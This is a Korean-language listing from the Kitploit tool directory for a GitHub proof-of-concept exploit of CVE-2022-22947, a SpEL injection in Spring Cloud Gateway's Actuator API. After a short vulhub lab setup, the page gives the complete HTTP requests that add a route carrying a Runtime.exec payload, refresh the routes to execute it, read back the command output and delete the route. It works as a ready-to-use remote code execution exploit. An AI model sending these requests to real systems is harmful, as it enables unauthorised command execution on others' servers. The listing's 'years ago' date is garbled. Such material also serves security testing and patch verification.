Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22947 — CVE-2022-22947에 대한 PoC 익스플로잇: Spring Cloud Gateway의 SpEL 주입을 통해 조작된 Actuator API 경로를 사용한 원격 명령 실행 가능. | Kitploit
도구/GitHubGitHub/greetdawn/cve-2022-22947
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingCommand and Control
GitHubgreetdawn/cve-2022-22947

CVE-2022-22947

CVE-2022-22947에 대한 PoC 익스플로잇: Spring Cloud Gateway의 SpEL 주입을 통해 조작된 Actuator API 경로를 사용한 원격 명령 실행 가능.

저장소 보기
534년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22947

Spring Cloud Gateway는 Spring에서 제공하는 API 게이트웨이입니다. 3.1.0 및 3.0.6 이전 버전에는 SpEL 표현식 주입 취약점이 존재하며, 공격자가 Actuator API에 접근 가능할 경우 이 취약점을 통해 임의의 명령을 실행할 수 있습니다.

취약점 환경

root@kitploit:~
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d

취약점 이용

routes 인터페이스에 다음 데이터 패킷을 전송합니다:

root@kitploit:~
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329

{
  "id": "greetdawn",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

image-20220303145822027

위 데이터 패킷이 표시되면 새 라우트가 성공적으로 생성되었음을 의미합니다.

다음 데이터 패킷을 다시 전송하여 방금 추가한 라우트를 적용하고 SpEL 표현식 실행을 트리거합니다:

root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329


image-20220303150111513

방금 생성한 라우트에 요청하여 악성 코드를 트리거합니다:

root@kitploit:~
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0


image-20220303150238309

참고: 다음 라우트를 삭제합니다

root@kitploit:~
DELETE /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0


image-20220303150340287

도구 다운로드